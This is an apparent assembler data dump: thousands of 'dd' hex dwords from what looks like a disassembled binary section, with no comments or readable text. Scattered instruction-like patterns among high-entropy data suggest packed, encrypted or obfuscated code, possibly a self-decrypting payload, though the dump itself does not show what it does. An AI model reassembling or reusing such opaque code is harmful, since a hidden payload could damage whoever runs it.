		dd 0F1D254EAh, 0D75C9E13h, 0C334624Bh, 2E806CEEh, 0E4B51765h
		dd 36F07BD2h, 6DA9F2DDh, 7A45E1D5h, 3F91693Ah, 8088D55Eh
		dd 86FCFA6Ch, 86969435h, 0C68DF39Ch, 0B0419972h, 2DCB0369h
		dd 2E67C348h, 8F7BF24Ah, 3967044h, 572753B8h, 0B8806EE0h
		dd 322613D7h, 8902DBECh, 41CAA345h, 314285F9h, 74D78CBFh
		dd 0F7550BFFh, 0CF518C7Ah, 0C805E357h, 770B00C0h, 0D4A04832h
		dd 789EFA71h, 0B3389DA6h, 55C00883h, 8A838DD6h,	62375DFDh
		dd 98D95947h, 0F9391318h, 1DD65093h, 0C334624Bh, 56806CEEh
		dd 0B8EB79F4h, 0EED42753h, 523D806Ch, 4DC4A006h, 74ED4B82h
		dd 94E02387h, 7B75DB50h, 0B77DDCDBh, 44h, 0D655C0BCh, 0A454B6Fh
		dd 22F47543h, 3644B34Bh, 661C8F3h, 54A7D332h, 0BD806C61h
		dd 0CF4194F7h, 240F86FFh, 2F80F6DFh, 9A806C95h,	4BA0A389h
		dd 0CF61C480h, 21ADE56Ah, 63EA35A8h, 3235D59Eh,	0BA000000h
		dd 488454Bh, 7CC1CEFFh,	54D7BE18h, 44CDA90Fh, 0FD63A1E2h
		dd 0B70848FBh, 4BC50E6Ah, 6CEEEC4Fh, 96FF0680h,	96E269C2h
		dd 0C4804B5Dh, 9E63EA61h, 0BA454BD5h, 0EAB6E562h, 8A62C014h
		dd 9C822E8Eh, 99A6F08h,	10D63118h, 70E0D11Ch, 90F9C480h
		dd 70E11162h, 4197F880h, 0F24A7BA3h, 0BF1DFB7Bh, 0AE0FE932h
		dd 59DAD825h, 408070E1h, 0D809F9DFh, 0E23083F7h, 0F6998070h
		dd 0E36ECCA2h, 0CE50F407h, 589A17F5h, 0D8F4E50Fh, 1B9B857Ah
		dd 946FAE2Fh, 430EFFDDh, 27000000h, 11E960C4h, 48ABEF30h
		dd 0B1806CEFh, 0EF45B6ECh, 0E3AC806Ch, 3FDABC98h, 0F246AFF4h
		dd 51BB266h, 132FBCCh, 35034026h, 45C619F5h, 2D9D867Ah
		dd 0B48D9127h, 0A47C59D0h, 0EF66C6C6h, 8BE1C81Bh, 60C4D853h
		dd 0DEBB11E9h, 0D80A0855h, 877A45CBh, 5D1DC911h, 0B60B9C66h
		dd 0F3D096F1h, 0E84CAAA8h, 0DABC0461h, 6BB09357h, 9647CC2Fh
		dd 0E6A3586h, 5DDA46BAh, 23850248h, 0CBAED8AEh,	9C504CB9h
		dd 0DC573682h, 0CC52F86Ah, 0D648EE76h, 0D40D09EDh, 0F81EDC27h
		dd 77D5951Ch, 0BF3294A2h, 0ABCF2056h, 693A0B08h, 0DF1250Eh
		dd 0D04E184h, 0D47DFE24h, 39641131h, 31D47AFDh,	0D53C6711h
		dd 4365987h, 0D455C08Fh, 6CEF4DAEh, 0E4574380h,	0CD806CEEh
		dd 0BA858E42h, 75ED4BB3h, 63C0B084h, 6EE960C4h,	7B7529A2h
		dd 0B77DDCDBh, 40h, 2424FA5Eh, 19E1C843h, 0C065EECAh, 4B6FD655h
		dd 80003E62h, 0A622B033h, 0EBDD5E52h, 5BC4806Ch, 34624B90h
		dd 806CEEC3h, 3E17652Eh, 0EA61C437h, 35D59E63h,	30h, 971AF858h
		dd 0ABA4F0D3h, 6FD655C0h, 0EEEC4F4Bh, 5622806Ch, 7C8A7CF7h
		dd 0E7E123B6h, 0E0341F17h, 4B935AA9h, 0EA61C480h, 0DE573781h
		dd 0D59E49FAh, 11E960C4h, 0F826030h, 0C0C68BBh,	80716FE1h
		dd 0D0961DF8h, 5713E27Eh, 9A30F66Ah, 8E42E472h,	6BDF2E2Ah
		dd 6F7BFC3Ah, 3D668071h, 442086D2h, 9EF09CDh, 0DF26AB09h
		dd 58D7B56Bh, 716FD95Ah, 7BD2C080h, 0F2DD36F0h,	47CCDFABh
		dd 0C4457D59h, 0C32914B3h, 6AC8F92Dh, 0C02077E7h, 7A7AD871h
		dd 2Dh,	0E960C4F3h, 28C83011h, 0EF64C76Dh, 0BC2E86A1h
		dd 1D1BFE58h, 927432BFh, 36AB538h, 0B04EFC3Ah, 0EEB17A45h
		dd 0BA6C0A18h, 0B6A42D89h, 0E960C43Dh, 55DEBB11h, 0E4D00A08h
		dd 94FF7A45h, 0CC82414Fh, 0AF1B9075h, 0C8223864h, 8B6CC8h
		dd 0C0BB3034h, 0D66FD655h, 15C119FFh, 461DD742h, 6F4D9487h
		dd 0E960C4E4h, 7529A26Eh, 7DDCDB7Bh, 43B7h, 55C0BC00h
		dd 4F4B6FD6h, 806CEEECh, 3F614AD5h, 8BD89355h, 0B93D478h
		dd 0DC956E8Ch, 4BACA7F5h, 0EA61C480h, 0C9379E63h, 0A305D362h
		dd 50B582Eh, 8DEBA773h,	373542h, 50580000h, 0B64B96FCh
		dd 67E8CC51h, 8DD655C0h, 0DDFB2F2Bh, 0FD472808h, 0EF2482EDh
		dd 624B4689h, 6CEEC334h, 17652E80h, 0EE77F83Eh,	62B1806Ch
		dd 0C4804BFBh, 9E63EA61h, 0E960C4D5h, 78DDBB8Ch, 0EF3487F3h
		dd 7F9D806Ch, 0E3C9109Dh, 6FCE1B1Fh, 31C78071h,	0F970D4EDh
		dd 0B23B9375h, 388316F4h, 4DA3A7D3h, 8E0C7A4Ah,	0D8552B2Dh
		dd 0F3DA09F1h, 0E25541AAh, 0B7869A95h, 9F805CD1h, 0C036BDB9h
		dd 0A48DD655h, 6CEEFD7Eh, 5DBBE480h, 0AED4B92h,	8EEA3981h
		dd 0ED4B093Ah, 0D0B6820Fh, 0A272FD74h, 0DB7B7529h, 3FB77DDCh
		dd 0BC000000h, 8DD655C0h, 61D9522Bh, 4B1DD622h,	0C4A83E62h
		dd 36F07DD3h, 0D057D7DDh, 28D901D7h, 0E327755Eh, 806C7190h
		dd 4B2F1679h, 0EA61C480h, 8D454B63h, 3AB0CC99h,	992AD622h
		dd 3635h, 55C0BA00h, 4F4B6FD6h,	806CEEECh, 4D96FF06h, 6CEEE649h
		dd 0F440D380h, 0B2BD9B16h, 61C4804Bh, 0D79F81EAh, 5BD2AA25h
		dd 0A22CC055h, 0C278517Eh, 37059CFFh, 4BD59E3Ch, 0B58308EDh
		dd 8FE77D7h, 716FB9F4h,	9F81EC80h, 309EE55Bh, 6E95E371h
		dd 0CAC82800h, 39B215E3h, 0D8E93DD3h, 3083F77Ch, 998071A5h
		dd 4461D9D3h, 240FB1F5h, 0A07019DDh, 0A9FA4CC7h, 8009ED43h
		dd 0EB56426h, 35FDF125h, 0B9EA7A4Ah, 55C03EB5h,	0ED4B6FD6h
		dd 0C7AB810Ah, 9ED4B6Ch, 44B1D5A5h, 0CE2998B3h,	39B014EAh
		dd 6DCBA23Eh, 6AB9018Ah, 7B75C50Eh, 0B77DDCDBh,	37h, 0D655C0BCh
		dd 0EC4F4B6Fh, 22806CEEh, 8A7CF756h, 911AF359h,	4BF29DBBh
		dd 0ED4B804Bh, 0EC278308h, 4CBEF3A0h, 157430Dh,	14CCCAA3h
		dd 9E539AE5h, 2A35D5h, 0C0BA0000h, 4B6FD655h, 6CEEEC4Fh
		dd 74FF0680h, 3096624Bh, 0B286CDBDh, 0CF61C4B1h, 3C9905C6h
		dd 0AC8549B7h, 2E098064h, 0D59E1CC7h, 11E960C4h, 0B866030h
		dd 65CE4B2Dh, 0F8613718h, 54BF0Bh, 45E97200h, 8CA557Ah
		dd 0BF842FEAh, 757CAF7Bh, 0F3B7D880h, 0E715B91Dh, 0F974CABDh
		dd 9ADEC201h, 5D91F8A5h, 9C6AE3BBh, 0AAD1B98h, 0A924867Fh
		dd 169F7FD1h, 0B2057150h, 1FCB8ABCh, 8C92B074h,	96882E36h
		dd 9852FE22h, 0AB7293D5h, 860FEF4Dh, 53DAB254h,	56283197h
		dd 0C9127DF0h, 3004896Fh, 74CC1540h, 64AF1B96h,	1B2CF210h
		dd 0EE08CA43h, 0E223870Eh, 0D83CB716h, 38Bh, 0B43F7800h
		dd 1AEC1FC4h, 9169E044h, 13D75C3Fh, 9056DBBDh, 15D5583Eh
		dd 9650DDB3h, 6CDA2930h, 0EE58D3AAh, 79C13028h,	0E789573Ah
		dd 4C781h, 0EF830000h, 243C8704h, 6824248Bh, 23FBh, 50241C89h
		dd 405E089h, 83000000h,	48704E8h, 34895C24h, 0C7BE5624h
		dd 810C3435h, 466039E6h, 3E6C121h, 6B30C681h, 0EE811787h
		dd 4E722ABEh, 1C29BB53h, 0E3815349h, 4A4400A4h,	8105E3C1h
		dd 6494FEBh, 5BDE010Bh,	835EF389h, 248904ECh, 24048124h
		dd 4, 468F535Eh, 24348B08h, 81E28952h, 4C2h, 4C28300h
		dd 5C241487h, 52241C8Bh, 0C281E289h, 4,	8704C283h, 0E95C2414h
		dd 0FFF97A08h, 2F5B8C7h, 0C5030630h, 3D97E0FFh,	39D663Ch
		dd 6B9B5DDAh, 72D60D7h,	0AC0C2AFAh, 60BD46AEh, 2F7F2B40h
		dd 4016268Dh, 0AC17684Ch, 0BFA13807h, 59257230h, 0EF671AC3h
		dd 27293652h, 0D3C717AEh, 0B8966AFDh, 467D0999h, 881866B4h
		dd 21A066DFh, 0F1E83E79h, 6C9D32D6h, 6F62844h, 0D58E49FCh
		dd 0A293ED9h, 9C886723h, 28F9545Bh, 0E662224Fh,	243B4CAEh
		dd 2D2703A1h, 88C600FDh, 68A358D4h, 8E82B01h, 0C9000000h
		dd 15D9E148h, 663B3AC9h, 52BFE881h, 0FB8B665Ah,	59F3C281h
		dd 880F0000h, 2, 59B9F8B4h, 56000016h, 0C18B6660h, 726CC1B9h
		dd 0FF5E617Bh, 60505B32h, 0DE87CB81h, 8B6600B3h, 815F61C7h
		dd 5AA1CCEBh, 28C0F3Ch,	8B000000h, 0F7F381FEh, 0E86420EAh
		dd 7, 0B58C5342h, 5826406Ch, 4FF1F381h,	8166325Ch, 5395D7CFh
		dd 5FEF8166h, 66028F69h, 7D0FF681h, 8B03EA83h, 66604AFEh
		dd 3D4DDE81h, 0E98161FCh, 1, 0FF9D850Fh, 8D8DFFFFh, 6300581h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 9EC35343h
		dd 0A3FA43F2h, 0A77E27h, 2DB760E3h, 0DCD8D8Bh, 80610629h
		dd 8D89D8F6h, 6291E6Dh,	262D8D89h, 85C70629h, 6292D81h
		dd 63DCh, 0B5A8E2BFh, 585C777h,	62920h,	6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 0DE81C355h, 6DB5FF23h, 6A06291Fh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0ED10C352h
		dd 0D5D89E2Dh, 0A9958BFCh, 0FF062910h, 2931E995h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 6A212Fh, 59195FFh, 0C08B0629h, 27AD58EBh, 87527C98h
		dd 0EF54F3D0h, 533DE28Ah, 626B8111h, 87E1EE05h,	82E93EB9h
		dd 65E7FABFh, 508EBFB6h, 0ABF06A01h, 0F882F68h,	6599A8A4h
		dd 0EFE27CC8h, 0D18ABC08h, 0E0CEE74Dh, 655F3D36h, 4AD9CCBEh
		dd 0C24DBAB5h, 0FC485EA2h, 737809ADh, 0CFF3992Eh, 8C3492Fh
		dd 8D8DAC30h, 63006A6h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 0C4C35141h, 0A2B65E68h, 0D80880Ah, 34F59D8Bh
		dd 0EE80629h, 12000000h, 5FADE21Ah, 0CD3BC095h,	0DF2D146Ah
		dd 9E8E3h, 0ED5B0000h, 4D3EB516h, 8BD68D7Eh, 2933F985h
		dd 89585B06h, 291E6D8Dh, 0C78B5706h, 0E9952958h, 0C706291Fh
		dd 292D8185h, 615006h, 0C2BF0F00h, 200585C7h, 629h, 0B9600000h
		dd 347B3516h, 0AA73D381h, 0FF611B14h, 290F71B5h, 0F9BF0F06h
		dd 31E995FFh, 6A0629h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 61A699C3h, 66FA897Dh, 6ADCCABBh
		dd 9195FF00h, 8B062905h, 0DC08EBC0h, 75415A4Ah,	8D4EB5A6h
		dd 30076A8Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1404h, 0C3524200h, 98BA66BEh, 6D8D89EEh, 8B06291Eh
		dd 8185C7D7h, 4C06292Dh, 6A000063h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 786DC357h
		dd 0B5A3D097h, 0CE919h,	734A0000h, 4ECA9260h, 268152DEh
		dd 85C716ABh, 6292005h,	0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 15C35141h
		dd 0A1BD8941h, 0FF062932h, 291A91B5h, 41B50B06h, 0FF062927h
		dd 2931E995h, 65850906h, 6A062904h, 9195FF00h, 8B062905h
		dd 9E1FEBC0h, 8068E639h, 49FE932Dh, 0A5F4AB8Ch,	0B577474Eh
		dd 52DA5C65h, 632CE645h, 2CAD3158h, 0AE8CB70h, 7A000000h
		dd 0A37A3086h, 0CF12FA7h, 0C88B6621h, 81EF8A5Bh, 5DCCC3h
		dd 0DE900h, 2C260000h, 0E76E71A3h, 64FC3159h, 68A0C16Ch
		dd 1744h, 11E8h, 7E0FE200h, 0C1230ADFh,	58C0FCADh, 87EE53A4h
		dd 5F59283Ch, 2CB98533h, 138B0629h, 260D8589h, 0C2810629h
		dd 5315CAC2h, 81C1BF0Fh, 40B58AEAh, 0D8D8B59h, 81062921h
		dd 1270E7EAh, 0EE82Eh, 583D0000h, 1238B3FBh, 5B603283h
		dd 1E30AAB9h, 1A658D89h, 52580629h, 0A718D89h, 38F0629h
		dd 21B589h, 0EB830629h,	0B44BFC03h, 850F4FCBh, 0FFFFFFA6h
		dd 0CE8h, 0F9F49F00h, 7C14DBB6h, 813EA10Eh, 3F8609Ah, 292A1195h
		dd 8D596106h, 30092F8Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 6ECAB287h, 8BED502Ah
		dd 290F259Dh, 6D8D8906h, 8906291Eh, 2908E585h, 8185C706h
		dd 0A806292Dh, 6A00006Fh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 68BDC357h, 8DE684C1h
		dd 127DBD8Bh, 85C70629h, 6292005h, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 94C35141h
		dd 17184A0Ah, 45958923h, 0FF062910h, 2919DDB5h,	0FD8D0106h
		dd 0FF06291Fh, 2931E995h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 0F022054h
		dd 382h, 0C7B70F00h, 95FF006Ah,	6290591h, 0AEBC08Bh, 39DCFB1h
		dd 0FD46D676h, 8D8D431Ah, 63009F0h, 8D89B0B2h, 6291E6Dh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 76C35747h
		dd 37FED928h, 0C70DB02Dh, 292D8185h, 677406h, 85C7F800h
		dd 6292005h, 0
		dd 204DBD2Bh, 0B5FF0629h, 6290F71h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 3AC35646h, 0A32A73B4h, 0D6022C57h
		dd 96D8529h, 95FF0629h,	62931E9h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 3CC35747h, 0FC5B7574h, 0F95CEFF6h
		dd 0D7B70F51h, 0FF006A5Bh, 29059195h, 0EBC08B06h, 420EDF08h
		dd 6C9563D7h, 5985C620h, 5606291Bh, 0C530DF68h,	99B5FFA9h
		dd 8D06291Ah, 2C7BD285h, 8DD0FF06h, 2933498Dh, 406A5106h
		dd 2555B5FFh, 0B5FF0629h, 629109Dh, 0B5FFD0FFh,	6292555h
		dd 109DB5FFh, 0FE80629h, 94000000h, 70D08E3Fh, 8E1A76EFh
		dd 5B652A45h, 5858930Ch, 0C104E883h, 0C102242Ch, 3022424h
		dd 1CF72404h, 0B924h, 34FF0000h, 0F3815B01h, 7C38936Ch
		dd 1AE7EB81h, 0C3813854h, 5E62F977h, 81081C89h,	0C60F60E9h
		dd 5CC18113h, 3B13C60Fh, 850F240Ch, 0FFFFFFD2h,	2E819D8Dh
		dd 38B0629h, 840FC00Bh,	7, 5B8B038Bh, 8B188904h, 10E8C9h
		dd 86800000h, 0BB92639Eh, 0C60194A4h, 0F2A94955h, 800F1374h
		dd 9, 38E0Fh, 0BF0F0000h, 0F18B5BF1h, 601EC381h, 870F0000h
		dd 0
		dd 830FFF33h, 2Ah, 0AE860h, 0BB1A0000h,	141FCE6Ch, 0D531980h
		dd 13E95Ah, 3C490000h, 0C514020Ah, 56ABE67Ah, 5499C952h
		dd 7762DDCDh, 148B61E6h, 0CF8B663Bh, 4014C281h,	0BE93B1Eh
		dd 2E000000h, 69B607E6h, 53B87838h, 0F28145A2h,	37B10FFAh
		dd 0C281C58Ah, 51B3896Eh, 0EE8h, 0B4D78D00h, 0B09F331Eh
		dd 1BE602Fh, 0E9A878C8h, 5, 0AF3642A7h,	14895E87h, 5880F3Bh
		dd 0B9000000h, 7223066Fh, 83F0B70Fh, 81F504EFh,	0FFA0ACFFh
		dd 97850FFFh, 66FFFFFFh, 3BB0D881h, 0E7E9h, 0C7C7EC00h
		dd 459CD70Fh, 0E1C8C3CAh, 0ACABDAB6h, 92B395A7h, 95A1F445h
		dd 0ABDA00B3h, 5D20A7ECh, 0F46BB291h, 752096B1h, 0B79B5520h
		dd 0A5BCF26Bh, 94A19692h, 99603A75h, 0BD329FB7h, 0B2E9B599h
		dd 0F292A59Ch, 7695ACA3h, 97B1EFh, 0A5B4F94Eh, 6B5C009Fh
		dd 924AF07Bh, 52D0008Ah, 53F545F3h, 0D979A3F6h,	0AFF144D6h
		dd 41F445E3h, 0B000D77Dh, 6BBF9792h, 0CF60FD75h, 0BCF996BFh
		dd 7D20B293h, 0F79B5720h, 0BD9492ABh, 0BCE3B29Eh, 9BE0CE9Dh
		dd 9D728F89h, 0EEA9FD8Fh, 0B6F66DB4h, 7293BCE1h, 97B3EDh
		dd 43F1B6D0h, 0F0A8CDh,	0
		dd 129D7447h, 5E99E0E3h, 0Ch dup(0)
		dd 15BAE9h, 0E8C6800h, 21E90630h, 68FFF971h, 6300F8Dh
		dd 0F97117E9h, 106568FFh, 0DE90630h, 68FFF971h,	63011A0h
		dd 0F97103E9h, 123668FFh, 0F9E90630h, 68FFF970h, 6301321h
		dd 0F970EFE9h, 13CB68FFh, 0E5E90630h, 68FFF970h, 6301484h
		dd 0F970DBE9h, 155868FFh, 0D1E90630h, 68FFF970h, 630169Fh
		dd 0F970C7E9h, 178468FFh, 0BDE90630h, 68FFF970h, 6301917h
		dd 0F970B3E9h, 19EA68FFh, 0A9E90630h, 68FFF970h, 6301B38h
		dd 0F9709FE9h, 1C9F68FFh, 95E90630h, 68FFF970h,	6301E86h
		dd 0F9708BE9h, 1FAD68FFh, 81E90630h, 0DFFFF970h, 0A543F300h
		dd 688E4CBDh, 32D4068Dh, 8066D427h, 0FFAFAF22h,	35B81EE3h
		dd 8805E701h, 40CBAC4Ah, 19907492h, 0E21071D5h,	7A3CE191h
		dd 4BDE6578h, 0EEC33462h, 672E806Ch, 6CEEC033h,	1F662980h
		dd 256DBB9h, 6BCCC8ACh,	0E2CD06E0h, 63EA4204h, 5F3E9AF3h
		dd 0DB3112D4h, 0E5119801h, 806CEE92h, 0E0CD147Fh, 45BED8B2h
		dd 77D1C77Ah, 0D3D793FAh, 86961F64h, 0B83AEC68h, 74B3B238h
		dd 2B34266Ah, 1992D10Fh, 464A33h, 4BE30000h, 228475EDh
		dd 68318BE1h, 0C791FAC3h, 371CEA1Bh, 0EF7DA1E1h, 792A7A45h
		dd 68E3441Ch, 9367B59Eh, 0FD3E4EB2h, 0E43E7469h, 96CE3DBEh
		dd 90FBA486h, 0CDF74444h, 51F78696h, 89B45CDh, 0E65774B3h
		dd 9C000000h, 0C334624Bh, 0D9806CEEh, 6CEE5ADDh, 0DC4780h
		dd 835B391Fh, 4DABC0Ah,	73D4AC89h, 0DFE00EF8h, 85754037h
		dd 0D8A88CD7h, 0CAA2A606h, 0C8ACE743h, 0CC07E36Eh, 0EB4305E5h
		dd 838172EFh, 0FC0552D2h, 3F3F06CFh, 6C59A67Bh,	52DBB380h
		dd 2FA606E0h, 9318815Bh, 33EA4C4Ah, 4AD57A45h, 8DBFE188h
		dd 9AF0900Fh, 0E5B41662h, 0E27F7BD3h, 137AA911h, 0C8157C57h
		dd 0A5058C68h, 0FF3B0A6Eh, 807047E2h, 3CB51187h, 0D53E194Ah
		dd 0DA51348Ch, 37BA18FEh, 8E03E107h, 5DB0527Dh,	8ADDD1ADh
		dd 12F3h, 0F2609348h, 393DCC14h, 41F57EDFh, 8549BAA7h
		dd 0D2008D63h, 1BF94682h, 0E842A496h, 0B417F165h, 7DD93F3Fh
		dd 83E246F4h, 3CE12497h, 4DF08D7Ah, 6BEB66C4h, 5BA0298Dh
		dd 0D4921FFDh, 56109B72h, 6C6127Dh, 5F59C08Dh, 5DB670FDh
		dd 0B9ED2972h, 0E67A45EEh, 0EEF87BBFh, 0BEE18695h, 209F9357h
		dd 0AC8695EFh, 747CF628h, 8E74B3E7h, 0E4h, 0E960C4A7h
		dd 54D9BF11h, 7FF0260Fh, 6A806CEEh, 0B6FD339h, 806CEA56h
		dd 3022AB03h, 96FF76D6h, 8D6868C2h, 1863A006h, 82973D14h
		dd 197F3589h, 9D26F3A9h, 10066FB0h, 806DC79Fh, 0FF33190Ah
		dd 7A46987Bh, 5CD7B664h, 9C5EB9EAh, 0F1359B7Eh,	6FDC506Ch
		dd 181E674Eh, 8072582Ah, 2192808Dh, 888CC2A5h, 0D23DB00Ah
		dd 0A52A8D89h, 8C978CC2h, 1AF858A5h, 13EA4E97h,	0D1B8BC98h
		dd 5B2FA407h, 0E84E2C08h, 0A8BDC065h, 0B076AD5Bh, 11F22Fh
		dd 61924900h, 3ECF0BEDh, 8803DA3Ch, 46B5AC4Ah, 119C7294h
		dd 88558DDDh, 51B7A72Ah, 1EF87AF7h, 0E20436BDh,	0F753830Ah
		dd 0E017989Eh, 0E3827A3Ch, 64454B58h, 4037DBE9h, 956BC92Fh
		dd 0E5B3DA18h, 0C8AE8A07h, 24F0686Ch, 4B3B8304h, 0F6B09BBEh
		dd 0B80B29Dh, 8CE960C4h, 0A9845E9Ch, 9CF82D72h,	96926A2Ch
		dd 85CEB84Bh, 0FF5EB8BAh, 78DCB274h, 68CC94F1h,	38B50BE1h
		dd 508318DCh, 9CF942D7h, 45C87066h, 0ACC577Ah, 0FCDE856h
		dd 5DE6B330h, 1E400270h, 0E6AF77F9h, 4C103BAh, 0E08ADD2h
		dd 8449DBADh, 0F4220B14h, 8449DB83h, 6CDA256Eh,	70FD5325h
		dd 9D7F5DB6h, 286EB7FCh, 7E25E29Dh, 0B73E9E7Ch,	0D5B1076Ch
		dd 9C789E5Ch, 0F5E31015h, 5A50AFA7h, 111A75h, 49BAA100h
		dd 6F76385h, 0D05B32D4h, 0AE5D8462h, 79F44AACh,	0E02DA5F5h
		dd 0A94F8F02h, 769042CFh, 3ADC1E95h, 0CF6BEB62h, 0DF3FB0E6h
		dd 8BAA7A3Ch, 0E960C460h, 55DEBB11h, 0E6980A08h, 5CC77A45h
		dd 68AEF79Eh, 8695F707h, 0F14BA1F2h, 7CBA8328h,	806EDC7Ah
		dd 79FA3865h, 608CBF11h, 3312D43Fh, 25A80EEAh, 0A7080E45h
		dd 128CBF11h, 88F72B01h, 118CBF11h, 954B3FB4h, 0A0CEB831h
		dd 1A11B12Eh, 0B89E80D5h, 73F85D66h, 0F2755CB7h, 9E46D056h
		dd 546E8A72h, 48h, 0D259C091h, 76D0A089h, 70C40FFBh, 7BA81E95h
		dd 23C71D1Dh, 0A7E87A46h, 0AA21FA5Eh, 3B91ECA8h, 0AC088696h
		dd 74D73125h, 396A96FFh, 88826A18h, 5364D420h, 104Bh, 0D806632h
		dd 90D56BDh, 869684A6h,	3B340013h, 89D259C0h, 60C64F2Fh
		dd 0BAF8D523h, 7A5CE329h, 12E6CF50h, 0E50333BAh, 0D73E8801h
		dd 6CEBDCA9h, 9D81C536h, 3D632C86h, 8DEBE843h, 0F8C56E2Bh
		dd 8D91C4BAh, 17F52B80h, 9CE72C9Ah, 8C05E1B7h, 45CCA84Eh
		dd 0C97227E5h, 7FC8B6ECh, 642F86A6h, 277C9AC7h,	328509A7h
		dd 0FDFh, 0CE0CFF64h, 0DC13028h, 559912EBh, 0E155A6B3h
		dd 2E2CA107h, 3F9D627Eh, 846680B2h, 4823C509h, 11F513C3h
		dd 97FE5A98h, 3CDE1063h, 51E4F97Ah, 6CEF1966h, 0F0260F80h
		dd 806CEE7Fh, 79D3396Ah, 0C8943EA0h, 2E29Fh, 0E8A6DC39h
		dd 387A5C2Fh, 0CD4A92F0h, 8DEBD083h, 11E7CC57h,	5DD6B1B5h
		dd 1CE72972h, 9CF587F8h, 29CF0F6Dh, 6291494Dh, 9C6CC334h
		dd 1A652E86h, 9C6FEAACh, 3E9C6AB5h, 8F8BD05Bh, 8075651Bh
		dd 52ADB44h, 0AEAD58D7h, 0F495778h, 65F20000h, 9642A496h
		dd 0B411F767h, 0D93F3Fh, 0C7A543F3h, 0D8884Ah, 62D05D33h
		dd 0AFAF2284h, 0F165EE49h, 3C3EB717h, 6ACDC998h, 577A3CDCh
		dd 60C437BEh, 3F2AA5EBh, 8DCD1915h, 6C802A8Dh, 0A58C9780h
		dd 9261F858h, 5CB1FFD4h, 1A5DABAAh, 653B8FEDh, 0A8218581h
		dd 4127F941h, 0C1A47ACCh, 840FEE4Ah, 948A2022h,	4ED0463Eh
		dd 35B81EFAh, 39AB0CFh,	0D93FFBD7h, 0DD482ACAh,	9250587Ah
		dd 0A3168D2Dh, 2905F0C4h, 2E000009h, 89D259C0h,	5CE5C48Dh
		dd 19622D7Ah, 0D56DFBFh, 0EC5AD3ABh, 0FAFE71A5h, 0B8EB869Ch
		dd 25C37B51h, 3A7EC841h, 869CFABDh, 74D3A5EBh, 0AA08046Eh
		dd 862DEC4Eh, 0B50354BDh, 0DB5C5AD7h, 16869DD9h, 0C84957FEh
		dd 6D362AAAh, 0B8970B0Fh, 61378076h, 312F0D86h,	8480DD6Eh
		dd 0EF23AD57h, 0E5ED8h,	8D7EE500h, 42B3AF49h, 1C977690h
		dd 0D22138DEh, 0AD208660h, 1CE1F9A9h, 0E50333BEh, 0AA4C8E03h
		dd 7E985AD1h, 8327179Eh, 0DB83F422h, 576E7A3Ch,	0E960C42Ch
		dd 0D950348Ch, 0C216E773h, 383C987Eh, 0A500D45Fh, 0B163C72Eh
		dd 0F1F3839Bh, 97ADCE3h, 874h, 0EF196622h, 1584806Ch, 8FFDD8Bh
		dd 0A78E2E7Ch, 0D3B1585Eh, 77187A5Ch, 79F24A2Eh, 9CE8BA3Dh
		dd 75FE5F86h, 0EF40B6DFh, 0DA869CE8h, 0D7076E49h, 8A01DABEh
		dd 2381D73Ch, 0A664C24Bh, 0EC1DC5F3h, 85EEC91Ah, 75E10D91h
		dd 54E9BA80h, 0AD585B6Fh, 0B4697EB4h, 0F00000Dh, 0D53323D0h
		dd 987EFC0Dh, 6284B63Dh, 30D604F7h, 4F1FDF52h, 65E84E93h
		dd 38B517F1h, 0F07BDC3Ah, 49C0A442h, 52402185h,	7A3CDBE1h
		dd 4B8E35C8h, 0A903C645h, 0A0E347CCh, 262C9C7Ch, 11987CD2h
		dd 3A9878A9h, 0C490F3B7h, 2E8CE863h, 0B163C74Eh, 0F1F3839Bh
		dd 97ADCF3h, 7C0h, 0D259C022h, 0E5DF8D89h, 0A1777A5Ch
		dd 0DEF4DC6h, 8FED2680h, 9CE5CE51h, 18EE1DC4h, 0AF0FEDCBh
		dd 7AD23426h, 8266AAF3h, 7A433569h, 0E42D9DFBh,	4931B81Ch
		dd 0CCBA4B97h, 5858BC87h, 869D10DBh, 76CD742h
		dd 76088F13h, 4DA3880h,	8BD23189h, 5833977Ah, 41169CADh
		dd 0CFBh, 0EA689B40h, 3125D40Ch, 79FD76D7h, 0BDB1429Fh
		dd 0CA08855Bh, 13F13E9Ah, 0E0BA5C9Eh, 0AC0FE96Dh, 75D13727h
		dd 8BDA7EFCh, 3CDB2C8Fh, 75F8957Ah, 3CCC60C4h, 451383B9h
		dd 0BE8D65C6h, 0BD84DD76h, 5A329452h, 0AFAD17D3h, 25F5FF77h
		dd 110D7ADDh, 26000007h, 6CEF1466h, 931AFF80h, 0EEEB4C4Ah
		dd 4DD6806Ch, 6CEEEA4Dh, 47CCAF80h, 0E3ACA0E3h,	0C847B398h
		dd 297A5CE5h, 3A9E6FEBh, 351EE863h, 573781EAh, 76ACF5DEh
		dd 869CFB05h, 0CDBD4C94h, 0F3D94A86h, 0E0C9127Bh, 9CFB41B2h
		dd 0B3E7A886h, 869CFB40h, 3C92E6A9h, 73FE5C58h,	0D7585EB7h
		dd 0C2869CFAh, 5B2F7651h, 4A931881h, 0BE379761h, 0E69C265Ah
		dd 180B8075h, 583D0CEBh, 0CC9317ADh, 0C27h, 86B4479Ch
		dd 0C509F860h, 0DC14A23h, 599D6EEBh, 0E654D9BFh, 77D51AB6h
		dd 3C9E78FAh, 805BBDB1h, 492DCB0Bh, 0DFB612C0h,	3CDA58DBh
